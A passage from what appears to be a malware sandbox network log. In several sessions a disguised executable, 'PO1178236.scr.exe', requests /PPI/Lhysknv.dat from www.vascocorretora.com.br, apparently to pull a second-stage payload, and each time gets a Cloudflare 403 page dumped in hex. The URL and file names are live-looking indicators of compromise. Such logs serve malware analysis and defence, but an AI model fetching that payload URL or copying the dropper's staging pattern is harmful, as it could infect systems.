2025-01-09 07:28:48 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:48 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 36 65 34 62 62 39 34 31 66 39 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b66e4bb941f9</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:48 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 36 65 34 62 62 39 34 31 66 39 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b66e4bb941f9',t:'MTczNjQwNzcyOC4wMDAwMDA='};v
2025-01-09 07:28:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49782	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:48 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:49 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:03 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z4WVSYu%2F5OwnECM0ByXwlZ9wriKOn%2BjVjYwF29BciUkxHVFuuQHJt9QqGB%2Bs5u6qLI1tJI3I1qO4FSeg5bvi0Cm43wkGeV3UCybFbcj1nBD4Fj0jcsTyNsC8mkSfeXmS7RkMMMyChr4JVnbR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6721f4bc360-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1480&min_rtt=1472&rtt_var=568&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1899804&cwnd=138&unsent_bytes=0&cid=0286718ff10484ae&ts=139&x=0"
2025-01-09 07:28:49 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:49 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:28:49 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:28:49 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 37 32 31 66 34 62 63 33 36 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6721f4bc360</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:28:49 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 37 32 31 66 34 62 63 33 36 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6721f4bc360',t:'MTczNjQwNzcyOC4wMDAwMDA='};var a
2025-01-09 07:28:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49783	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:49 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:49 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2xYeSpxRp%2B1TjJjyMI1YfubWpJCZIgPSSAgrDpzLlw6bF98bYPohFKZpLvwaV1YpJa4%2BjnW4F%2BiO8GUxjcHR1FuJsiHFmL%2FRHap2KNFbl0coG39ZRjvoZcP5eJ3UQr3hinwlRRmEnTAzzbhH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b675cc2f7274-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2065&min_rtt=2062&rtt_var=780&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1395793&cwnd=182&unsent_bytes=0&cid=650e6c45bfcf0179&ts=126&x=0"
2025-01-09 07:28:49 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:49 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:28:49 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:28:49 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 37 35 63 63 32 66 37 32 37 34 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b675cc2f7274</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:28:49 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 37 35 63 63 32 66 37 32 37 34 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b675cc2f7274',t:'MTczNjQwNzcyOS4wMDAwMDA='};var
2025-01-09 07:28:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49784	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:50 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:50 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HpzL7OLGmc2BEJ1dI9fFYvol1qrn4qAN202yRKqGZMUXff4I2gMsRafw7fdDCECaZKoZA2HXRZGO7yyyIvt898T1Vg3D%2FL3tg2PJZd7sI%2B9J%2FPt5xIBfCH3zvTr0M%2FzBPRO9UyUpAS0V0Rfk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b679bcc90f99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1466&rtt_var=558&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1944074&cwnd=164&unsent_bytes=0&cid=f37b039eb105ebca&ts=147&x=0"
2025-01-09 07:28:50 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:50 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:28:50 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:28:50 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 37 39 62 63 63 39 30 66 39 39 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 